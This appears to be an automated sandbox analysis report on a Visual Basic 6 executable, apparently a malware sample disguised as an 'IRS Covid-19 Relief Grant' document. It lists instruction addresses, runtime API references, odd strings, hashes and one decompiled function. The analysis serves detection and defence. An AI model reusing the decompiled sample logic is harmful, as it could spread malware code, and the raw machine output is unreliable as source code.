0x0040f521
0x0040f52e
0x0040f553
0x0040f530
0x0040f530
0x0040f535
0x0040f53a
0x0040f540
0x0040f546
0x0040f54b
0x0040f54b
0x0040f560
0x0040f566
0x0040f575
0x0040f57b
0x0040f585
0x0040f596
0x0040f5c4
0x0040f5d1
0x0040f5de
0x0040f5df
0x0040f5e0
0x0040f5e1
0x0040f5f1
0x0040f5fd
0x0040f603
0x0040f607
0x0040f60b
0x0040f60f
0x0040f610
0x0040f612
0x0040f617
0x0040f621
0x0040f63e
0x0040f623
0x0040f623
0x0040f628
0x0040f62d
0x0040f632
0x0040f632
0x0040f662
0x0040f666
0x0040f66b
0x0040f686
0x0040f68c
0x0040f68e
0x0040f69b
0x0040f6c0
0x0040f69d
0x0040f69d
0x0040f6a2
0x0040f6a7
0x0040f6ad
0x0040f6b3
0x0040f6b8
0x0040f6b8
0x0040f6ce
0x0040f6eb
0x0040f6d0
0x0040f6d0
0x0040f6d5
0x0040f6da
0x0040f6df
0x0040f6df
0x0040f70f
0x0040f713
0x0040f718
0x0040f733
0x0040f736
0x0040f738
0x0040f745
0x0040f767
0x0040f747
0x0040f747
0x0040f749
0x0040f74e
0x0040f754
0x0040f75a
0x0040f75f
0x0040f75f
0x0040f775
0x0040f792
0x0040f777
0x0040f777
0x0040f77c
0x0040f781
0x0040f786
0x0040f786
0x0040f7b6
0x0040f7ba
0x0040f7bf
0x0040f7da
0x0040f7dd
0x0040f7df
0x0040f7ec
0x0040f80e
0x0040f7ee
0x0040f7ee
0x0040f7f0
0x0040f7f5
0x0040f7fb
0x0040f801
0x0040f806
0x0040f806
0x0040f81c
0x0040f839
0x0040f81e
0x0040f81e
0x0040f823
0x0040f828
0x0040f82d
0x0040f82d
0x0040f85d
0x0040f861
0x0040f866
0x0040f881
0x0040f887
0x0040f889
0x0040f896
0x0040f8bb
0x0040f898
0x0040f898
0x0040f89d
0x0040f8a2
0x0040f8a8
0x0040f8ae
0x0040f8b3
0x0040f8b3
0x0040f8c8
0x0040f8ce
0x0040f8de
0x0040f8e4
0x0040f8f3
0x0040f8f9
0x0040f903
0x0040f90d
0x0040f920
0x0040f93d
0x0040f967
0x0040f97f
0x0040f99b
0x0040f9a0
0x0040f9a3
0x0040f9ad
0x0040f9d7
0x0040f9e3
0x0040f9ed
0x0040fa0a
0x0040f9ef
0x0040f9ef
0x0040f9f4
0x0040f9f9
0x0040f9fe
0x0040f9fe
0x0040fa2e
0x0040fa32
0x0040fa37
0x0040fa52
0x0040fa58
0x0040fa5a
0x0040fa67
0x0040fa8c
0x0040fa69
0x0040fa69
0x0040fa6e
0x0040fa73
0x0040fa79
0x0040fa7f
0x0040fa84
0x0040fa84
0x0040fa93
0x0040fa9d
0x0040faad
0x0040face
0x0040fad4
0x0040fae1
0x0040fb03
0x0040fae3
0x0040fae3
0x0040fae8
0x0040faed
0x0040faf0
0x0040faf6
0x0040fafb
0x0040fafb
0x0040fb0d
0x0040fb1a
0x0040fb20
0x0040fb2a
0x0040fb3a
0x0040fb3d
0x0040fb4e
0x0040fb59
0x0040fb5f
0x0040fb6c
0x0040fb8e
0x0040fb6e
0x0040fb6e
0x0040fb73
0x0040fb78
0x0040fb7b
0x0040fb81
0x0040fb86
0x0040fb86
0x0040fb98
0x0040fba4
0x0040fbc1
0x0040fba6
0x0040fba6
0x0040fbab
0x0040fbb0
0x0040fbb5
0x0040fbb5
0x0040fbe5
0x0040fbe9
0x0040fbee
0x0040fc06
0x0040fc0c
0x0040fc0e
0x0040fc1b
0x0040fc40
0x0040fc1d
0x0040fc1d
0x0040fc22
0x0040fc27
0x0040fc2d
0x0040fc33
0x0040fc38
0x0040fc38
0x0040fc47
0x0040fc49
0x0040fc4b
0x0040fc51
0x0040fc52
0x0040fc57
0x0040fc61
0x0040fc7e
0x0040fc63
0x0040fc63
0x0040fc68
0x0040fc6d
0x0040fc72
0x0040fc72
0x0040fca2
0x0040fca6
0x0040fcab
0x0040fcc6
0x0040fccc
0x0040fcce
0x0040fcdb
0x0040fd00
0x0040fcdd
0x0040fcdd
0x0040fce2
0x0040fce7
0x0040fced
0x0040fcf3
0x0040fcf8
0x0040fcf8
0x0040fd0e
0x0040fd2b
0x0040fd10
0x0040fd10
0x0040fd15
0x0040fd1a
0x0040fd1f
0x0040fd1f
0x0040fd45
0x0040fd4f
0x0040fd53
0x0040fd58
0x0040fd73
0x0040fd76
0x0040fd78
0x0040fd85
0x0040fda7
0x0040fd87
0x0040fd87
0x0040fd89
0x0040fd8e
0x0040fd94
0x0040fd9a
0x0040fd9f
0x0040fd9f
0x0040fdae
0x0040fdb7
0x0040fdbb
0x0040fdc0
0x0040fdc6
0x0040fdd0
0x0040fde0
0x0040fdf4
0x0040fe1e
0x0040fe30
0x0040fe36
0x0040fe43
0x0040fe65
0x0040fe45
0x0040fe45
0x0040fe4a
0x0040fe4f
0x0040fe52
0x0040fe58
0x0040fe5d
0x0040fe5d
0x0040fe72
0x0040fe78
0x0040fe7c
0x0040fe80
0x0040fe84
0x0040fe85
0x0040fe87
0x0040fe8c
0x0040fe92
0x0040fe9e
0x0040febb
0x0040fea0
0x0040fea0
0x0040fea5
0x0040feaa
0x0040feaf
0x0040feaf
0x0040fedf
0x0040fee3
0x0040fee8
0x0040ff00
0x0040ff06
0x0040ff08
0x0040ff15
0x0040ff3a
0x0040ff17
0x0040ff17
0x0040ff1c
0x0040ff21
0x0040ff27
0x0040ff2d
0x0040ff32
0x0040ff32
0x0040ff48
0x0040ff65
0x0040ff4a
0x0040ff4a
0x0040ff4f
0x0040ff54
0x0040ff59
0x0040ff59
0x0040ff7f
0x0040ff89
0x0040ff8d
0x0040ff92
0x0040ffad
0x0040ffb3
0x0040ffb5
0x0040ffc2
0x0040ffe7
0x0040ffc4
0x0040ffc4
0x0040ffc9
0x0040ffce
0x0040ffd4
0x0040ffda
0x0040ffdf
0x0040ffdf
0x0040ffee
0x0040fff7
0x00410000
0x0041000a
0x00410017
0x0041001d
0x00410027
0x0041002a
0x00410040
0x00410057
0x00410064
0x0041006e
0x0041006f
0x00410070
0x00410071
0x0041007a
0x00410083
0x00410087
0x00410088
0x0041008a
0x0041008f
0x00410095
0x004100a1
0x004100be
0x004100a3
0x004100a3
0x004100a8
0x004100ad
0x004100b2
0x004100b2
0x004100e2
0x004100e6
0x004100eb
0x00410106
0x0041010c
0x0041010e
0x0041011b
0x00410140
0x0041011d
0x0041011d
0x00410122
0x00410127
0x0041012d
0x00410133
0x00410138
0x00410138
0x0041014e
0x0041016b
0x00410150
0x00410150
0x00410155
0x0041015a
0x0041015f
0x0041015f
0x0041018f
0x00410193
0x00410198
0x004101b0
0x004101b6
0x004101b8
0x004101c5
0x004101ea
0x004101c7
0x004101c7
0x004101cc
0x004101d1
0x004101d7
0x004101dd
0x004101e2
0x004101e2
0x004101fc
0x0041020a
0x00410216
0x00410223
0x00410227
0x00410243
0x00410252
0x0041025a
0x0041025e
0x00410262
0x00410263
0x00410265
0x0041026a
0x00410270
0x0041027c
0x00410299
0x0041027e
0x0041027e
0x00410283
0x00410288
0x0041028d
0x0041028d
0x004102bd
0x004102c1
0x004102c6
0x004102e1
0x004102e4
0x004102e6
0x004102f3
0x00410315
0x004102f5
0x004102f5
0x004102f7
0x004102fc
0x00410302
0x00410308
0x0041030d
0x0041030d
0x00410323
0x00410340
0x00410325
0x00410325
0x0041032a
0x0041032f
0x00410334
0x00410334
0x00410364
0x00410368
0x0041036d
0x00410385
0x0041038b
0x0041038d
0x0041039a
0x004103bf
0x0041039c
0x0041039c
0x004103a1
0x004103a6
0x004103ac
0x004103b2
0x004103b7
0x004103b7
0x004103c9
0x004103cf
0x004103d9
0x004103df
0x004103e9
0x004103f3
0x00410406
0x00410423
0x00410437
0x00410440
0x00410444
0x00410445
0x00410447
0x00410455
0x00410459
0x0041045a
0x0041045c
0x00410461
0x0041046b
0x00410488
0x0041046d
0x0041046d
0x00410472
0x00410477
0x0041047c
0x0041047c
0x004104a2
0x004104ac
0x004104b0
0x004104b5
0x004104d0
0x004104d6
0x004104d8
0x004104e5
0x0041050a
0x004104e7
0x004104e7
0x004104ec
0x004104f1
0x004104f7
0x004104fd
0x00410502
0x00410502
0x00410511
0x0041051b
0x00410525
0x0041052f
0x0041053f
0x00410554
0x00410572
0x0041057f
0x00410580
0x00410581
0x00410582
0x00410592
0x0041059e
0x004105a4
0x004105b0
0x004105cd
0x004105b2
0x004105b2
0x004105b7
0x004105bc
0x004105c1
0x004105c1
0x004105f1
0x004105f5
0x004105fa
0x00410615
0x0041061b
0x0041061d
0x0041062a
0x0041064f
0x0041062c
0x0041062c
0x00410631
0x00410636
0x0041063c
0x00410642
0x00410647
0x00410647
0x00410656
0x00410660
0x00410672
0x00410690
0x00410696
0x004106a3
0x004106c5
0x004106a5
0x004106a5
0x004106aa
0x004106af
0x004106b2
0x004106b8
0x004106bd
0x004106bd
0x004106cf
0x004106d7
0x004106e3
0x00410700
0x004106e5
0x004106e5
0x004106ea
0x004106ef
0x004106f4
0x004106f4
0x00410724
0x00410728
0x0041072d
0x00410745
0x0041074b
0x0041074d
0x0041075a
0x0041077f
0x0041075c
0x0041075c
0x00410761
0x00410766
0x0041076c
0x00410772
0x00410777
0x00410777
0x00410786
0x00410788
0x0041078a
0x00410790
0x00410791
0x004107a0
0x004107bd
0x004107a2
0x004107a2
0x004107a7
0x004107ac
0x004107b1
0x004107b1
0x004107e1
0x004107e5
0x004107ea
0x00410802
0x00410808
0x0041080a
0x00410817
0x0041083c
0x00410819
0x00410819
0x0041081e
0x00410823
0x00410829
0x0041082f
0x00410834
0x00410834
0x0041084a
0x00410867
0x0041084c
0x0041084c
0x00410851
0x00410856
0x0041085b
0x0041085b
0x0041088b
0x0041088f
0x00410894
0x004108ac
0x004108b2
0x004108b4
0x004108c1
0x004108e6
0x004108c3
0x004108c3
0x004108c8
0x004108cd
0x004108d3
0x004108d9
0x004108de
0x004108de
0x004108fb
0x00410903
0x0041090a
0x0041090f
0x0041091b
0x00410924
0x0041092a
0x00410934
0x0041093a
0x00410948
0x00410952
0x0041095d
0x0041097e
0x0041098b
0x0041098c
0x0041098d
0x0041098e
0x004109b6
0x004109bc
0x004109c9
0x004109eb
0x004109cb
0x004109cb
0x004109d0
0x004109d5
0x004109d8
0x004109de
0x004109e3
0x004109e3
0x004109f5
0x004109fd
0x00410a01
0x00410a05
0x00410a09
0x00410a0d
0x00410a0e
0x00410a10
0x00410a1e
0x00410a25
0x00410a29
0x00410a2a
0x00410a2c
0x00410a3b
0x00410a58
0x00410a3d
0x00410a3d
0x00410a42
0x00410a47
0x00410a4c
0x00410a4c
0x00410a7c
0x00410a80
0x00410a85
0x00410aa0
0x00410aa6
0x00410aa8
0x00410ab5
0x00410ada
0x00410ab7
0x00410ab7
0x00410abc
0x00410ac1
0x00410ac7
0x00410acd
0x00410ad2
0x00410ad2
0x00410ae7
0x00410af3
0x00410af9
0x00410b20
0x00410b29
0x00410b3d
0x00410b43
0x00410b4a
0x00410b4b
0x00410b9c
0x00410ba4
0x00410ba9

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 0040EB72
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,?,004012E6), ref: 0040EBB3
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EBEC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402908,000001C8), ref: 0040EC32
__vbaFreeObj.MSVBVM60(00000000,?,00402908,000001C8), ref: 0040EC49
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040EC61
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EC9A
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001E8), ref: 0040ECE7
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040ED0E
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040ED47
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001C0), ref: 0040ED94
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040EDBB
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EDF4
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402908,00000080), ref: 0040EE41
__vbaVarMove.MSVBVM60(?,?), ref: 0040EEA1
__vbaFreeObjList.MSVBVM60(00000003,?,?,?,?,?), ref: 0040EEB4
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,004012E6), ref: 0040EECF
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040EF08
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402928,00000128), ref: 0040EF55
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,000006F8,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F018
__vbaFreeObj.MSVBVM60(?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F02F
__vbaNew2.MSVBVM60(00401FE0,00413010,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F047
__vbaObjSet.MSVBVM60(?,00000000,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F080
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402938,00000110,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F0CA
__vbaNew2.MSVBVM60(00401FE0,00413010,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F0F1
__vbaObjSet.MSVBVM60(?,00000000,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F12A
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402928,00000068,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F171
__vbaChkstk.MSVBVM60(00000003,018AE480,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F1E8
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,000006FC,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F259
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,003C7ECA,005886BD,?,018AE480,?), ref: 0040F289
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,004012E6), ref: 0040F29E
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?,?,?,?,?,?,?,004012E6), ref: 0040F2B9
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F2F2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000000F8), ref: 0040F33F
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F366
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F39F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402928,00000128), ref: 0040F3EC
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F413
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F44C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402938,00000140), ref: 0040F499
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F4C0
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F4F9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402948,00000130), ref: 0040F546
__vbaChkstk.MSVBVM60(?,?,?,00002258,?,005BA9CD,?), ref: 0040F5D1
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,?,00002258,?,005BA9CD,?), ref: 0040F612
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F62D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F666
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402908,00000178), ref: 0040F6B3
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F6DA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F713
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000058), ref: 0040F75A
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F781
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F7BA
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402908,00000070), ref: 0040F801
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F828
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040F861
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001C0), ref: 0040F8AE
__vbaVarDup.MSVBVM60(00000000,?,00402918,000001C0), ref: 0040F920
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,00000003,60B8CA80,00005B04), ref: 0040F97F
__vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0040F99B
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040F9F9
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FA32
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000170), ref: 0040FA7F
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,00000700), ref: 0040FAF6
__vbaFreeObj.MSVBVM60(00000000,004011B0,0040275C,00000700), ref: 0040FB0D
__vbaVarDup.MSVBVM60 ref: 0040FB3D
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,00000704,?,?,?), ref: 0040FB81
__vbaFreeVar.MSVBVM60(?,?,?), ref: 0040FB98
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?), ref: 0040FBB0
__vbaObjSet.MSVBVM60(?,00000000,?,?,?), ref: 0040FBE9
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00402938,00000100,?,?,?), ref: 0040FC33
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000,?,?,?), ref: 0040FC52
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040FC6D
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FCA6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000001E8), ref: 0040FCF3
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040FD1A
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FD53
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000070), ref: 0040FD9A
__vbaI4Var.MSVBVM60(?), ref: 0040FDBB
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,00000708,?,3E88AF00,?,angiopathy,?,00005338,?,?,?), ref: 0040FE58
__vbaFreeObjList.MSVBVM60(00000004,?,?,?,?,?,3E88AF00,?,angiopathy,?,00005338,?,?,?), ref: 0040FE87
__vbaFreeVar.MSVBVM60 ref: 0040FE92
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040FEAA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FEE3
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000138), ref: 0040FF2D
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0040FF54
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FF8D
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402908,00000178), ref: 0040FFDA
__vbaChkstk.MSVBVM60(0D93E190,?,?,0000233C,?,?,00001383), ref: 00410064
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,0000233C,?,?,00001383), ref: 0041008A
__vbaFreeVar.MSVBVM60 ref: 00410095
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 004100AD
__vbaObjSet.MSVBVM60(?,00000000), ref: 004100E6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402938,00000180), ref: 00410133
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0041015A
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 00410193
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402938,00000168), ref: 004101DD
__vbaLateIdCallLd.MSVBVM60(00000009,?,00000000,00000000), ref: 004101FC
__vbaI4Var.MSVBVM60(00000009,?), ref: 00410227
__vbaVarMove.MSVBVM60 ref: 00410252
__vbaFreeObjList.MSVBVM60(00000003,?,00000000,?), ref: 00410265
__vbaFreeVar.MSVBVM60 ref: 00410270
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 00410288
__vbaObjSet.MSVBVM60(?,00000000), ref: 004102C1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000070), ref: 00410308
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 0041032F
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 00410368
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000238), ref: 004103B2
__vbaVarDup.MSVBVM60(00000000,?,00402918,00000238), ref: 00410406
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,?,00000008,FA9C7910,00005B06), ref: 00410447
__vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 0041045C
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 00410477
__vbaObjSet.MSVBVM60(?,00000000), ref: 004104B0
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,00000080), ref: 004104FD
__vbaChkstk.MSVBVM60(0083A9E4,0078288A,28619090,00005AF5,?,?,?), ref: 00410572
__vbaFreeObj.MSVBVM60(?,?,?), ref: 004105A4
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?), ref: 004105BC
__vbaObjSet.MSVBVM60(?,00000000,?,?,?), ref: 004105F5
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402918,000000E0,?,?,?), ref: 00410642
__vbaStrCopy.MSVBVM60(?,?,?), ref: 00410672
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,0000070C,?,?,?), ref: 004106B8
__vbaFreeStr.MSVBVM60(?,?,?), ref: 004106CF
__vbaFreeObj.MSVBVM60(?,?,?), ref: 004106D7
__vbaNew2.MSVBVM60(00401FE0,00413010,?,?,?), ref: 004106EF
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?), ref: 00410728
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402948,00000150,?,?,?,?,?), ref: 00410772
__vbaLateIdCallLd.MSVBVM60(00000009,00000000,00000000,00000000,?,?,?,?,?), ref: 00410791
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 004107AC
__vbaObjSet.MSVBVM60(?,00000000), ref: 004107E5
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402938,00000160), ref: 0041082F
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 00410856
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041088F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402928,000000F0), ref: 004108D9
__vbaLateIdCallLd.MSVBVM60(?,?,00000000,00000000), ref: 004108FB
__vbaI4Var.MSVBVM60(?), ref: 0041090A
__vbaStrVarMove.MSVBVM60(00000009,?), ref: 00410948
__vbaStrMove.MSVBVM60(00000009,?), ref: 00410952
__vbaChkstk.MSVBVM60(?,lymphopoiesis,?,0059EB55,00000009,?), ref: 0041097E
__vbaHresultCheckObj.MSVBVM60(00000000,004011B0,0040275C,00000710), ref: 004109DE
__vbaFreeStr.MSVBVM60(00000000,004011B0,0040275C,00000710), ref: 004109F5
__vbaFreeObjList.MSVBVM60(00000005,?,?,?,00000000,?), ref: 00410A10
__vbaFreeVarList.MSVBVM60(00000003,00000009,00000009,?), ref: 00410A2C
__vbaNew2.MSVBVM60(00401FE0,00413010), ref: 00410A47
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410A80
__vbaHresultCheckObj.MSVBVM60(00000000,?,00402928,00000128), ref: 00410ACD
__vbaFreeObj.MSVBVM60 ref: 00410B29
__vbaFreeVar.MSVBVM60(00410BAA), ref: 00410B9C
__vbaFreeVar.MSVBVM60(00410BAA), ref: 00410BA4

Strings

8S, xrefs: 0040FDAE
X", xrefs: 0040F566
<#, xrefs: 0040FFF7
Inddatastrengens, xrefs: 004103E9
Antiracing2, xrefs: 0040FB20
uncomeliest, xrefs: 0040FABA
Zounds8, xrefs: 0041066A
lymphopoiesis, xrefs: 0041096F
R+?, xrefs: 0040F57B
angiopathy, xrefs: 0040FE04
Semipalmate, xrefs: 0040F903

Memory Dump Source

Source File: 00000000.00000002.242374999.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.242365413.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.242395437.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.242404679.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: __vba$CheckHresult$New2$Free$List$Chkstk$CallLateMove$Copy
String ID: 8S$<#$Antiracing2$Inddatastrengens$R+?$Semipalmate$X"$Zounds8$angiopathy$lymphopoiesis$uncomeliest
API String ID: 1680439522-671255917
Opcode ID: c241264e3fc66b90eb807ecd98cad2f44ba39c87ef3b4fb845c44aeb0bd3ca6d
Instruction ID: af2ba3a7f426b79061170aeb18736472689049fb06fdc306b2d0fdaf41a02296
Opcode Fuzzy Hash: c241264e3fc66b90eb807ecd98cad2f44ba39c87ef3b4fb845c44aeb0bd3ca6d
Instruction Fuzzy Hash: 9E13F671900228DFDB21DF90CC49BD9BBB4BB08305F1045EAE549BB2A1DBB95AC4DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411139, Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			E00411139(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v36;
				void* _v48;
				signed int _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v80;
				char _v96;
				char* _v120;
				intOrPtr _v128;
				intOrPtr _v136;
				char _v144;
				signed int _v148;
				intOrPtr* _v152;
				signed int _v156;
				intOrPtr* _v160;
				signed int _v164;
				signed int _v172;
				signed int _v176;
				char _v180;
				intOrPtr* _v184;
				signed int _v188;
				signed int _v192;
				signed int _t82;
				char* _t85;
				signed int _t89;
				char* _t95;
				signed int _t99;
				char* _t101;
				char* _t102;
				signed int _t105;
				intOrPtr _t126;

				_push(0x4012e6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t126;
				L004012E0();
				_v12 = _t126;
				_v8 = 0x4011f0;
				L0040144E();
				_v120 = L"8:8:8";
				_v128 = 8;
				L0040144E();
				_push( &_v80);
				_push( &_v96); // executed
				L004013EE(); // executed
				_v136 = 8;
				_v144 = 0x8002;
				_push( &_v96);
				_t82 =  &_v144;
				_push(_t82);
				L004013F4();
				_v148 = _t82;
				_push( &_v96);
				_push( &_v80);
				_push(2);
				L00401454();
				_t85 = _v148;
				if(_t85 != 0) {
					_t89 =  *((intOrPtr*)( *_a4 + 0x160))(_a4,  &_v52);
					asm("fclex");
					_v148 = _t89;
					if(_v148 >= 0) {
						_v176 = _v176 & 0x00000000;
					} else {
						_push(0x160);
						_push(0x40272c);
						_push(_a4);
						_push(_v148);
						L0040146C();
						_v176 = _t89;
					}
					if( *0x41333c != 0) {
						_v180 = 0x41333c;
					} else {
						_push(0x41333c);
						_push(0x402a70);
						L00401472();
						_v180 = 0x41333c;
					}
					_t32 =  &_v180; // 0x41333c
					_v160 =  *((intOrPtr*)( *_t32));
					if( *0x413010 != 0) {
						_v184 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x401fe0);
						L00401472();
						_v184 = 0x413010;
					}
					_t95 =  &_v56;
					L00401478();
					_v152 = _t95;
					_t99 =  *((intOrPtr*)( *_v152 + 0x1b8))(_v152,  &_v60, _t95,  *((intOrPtr*)( *((intOrPtr*)( *_v184)) + 0x30c))( *_v184));
					asm("fclex");
					_v156 = _t99;
					if(_v156 >= 0) {
						_v188 = _v188 & 0x00000000;
					} else {
						_push(0x1b8);
						_push(0x402918);
						_push(_v152);
						_push(_v156);
						L0040146C();
						_v188 = _t99;
					}
					_v172 = _v52;
					_v52 = _v52 & 0x00000000;
					_t101 =  &_v80;
					L00401442();
					L00401424();
					L0040142A();
					_t102 =  &_v64;
					L00401478();
					_t105 =  *((intOrPtr*)( *_v160 + 0x40))(_v160, _t102, _t102, _v172, _t101, _t101, _t101, _v60, 0, 0);
					asm("fclex");
					_v164 = _t105;
					if(_v164 >= 0) {
						_v192 = _v192 & 0x00000000;
					} else {
						_push(0x40);
						_push(0x402a60);
						_push(_v160);
						_push(_v164);
						L0040146C();
						_v192 = _t105;
					}
					L00401430();
					_push( &_v60);
					_push( &_v64);
					_t85 =  &_v56;
					_push(_t85);
					_push(3);
					L0040145A();
					L00401448();
				}
				asm("wait");
				_push(0x41140f);
				L00401448();
				return _t85;
			}

0x0041113e
0x00411149
0x0041114a
0x00411156
0x0041115e
0x00411161
0x0041116e
0x00411173
0x0041117a
0x00411187
0x0041118f
0x00411193
0x00411194
0x00411199
0x004111a3
0x004111b0
0x004111b1
0x004111b7
0x004111b8
0x004111bd
0x004111c7
0x004111cb
0x004111cc
0x004111ce
0x004111d6
0x004111df
0x004111f1
0x004111f7
0x004111f9
0x00411206
0x00411228
0x00411208
0x00411208
0x0041120d
0x00411212
0x00411215
0x0041121b
0x00411220
0x00411220
0x00411236
0x00411253
0x00411238
0x00411238
0x0041123d
0x00411242
0x00411247
0x00411247
0x0041125d
0x00411265
0x00411272
0x0041128f
0x00411274
0x00411274
0x00411279
0x0041127e
0x00411283
0x00411283
0x004112b3
0x004112b7
0x004112bc
0x004112d4
0x004112da
0x004112dc
0x004112e9
0x0041130e
0x004112eb
0x004112eb
0x004112f0
0x004112f5
0x004112fb
0x00411301
0x00411306
0x00411306
0x00411318
0x0041131e
0x00411329
0x0041132d
0x00411336
0x00411340
0x0041134c
0x00411350
0x00411364
0x00411367
0x00411369
0x00411376
0x00411398
0x00411378
0x00411378
0x0041137a
0x0041137f
0x00411385
0x0041138b
0x00411390
0x00411390
0x004113a2
0x004113aa
0x004113ae
0x004113af
0x004113b2
0x004113b3
0x004113b5
0x004113c0
0x004113c0
0x004113c5
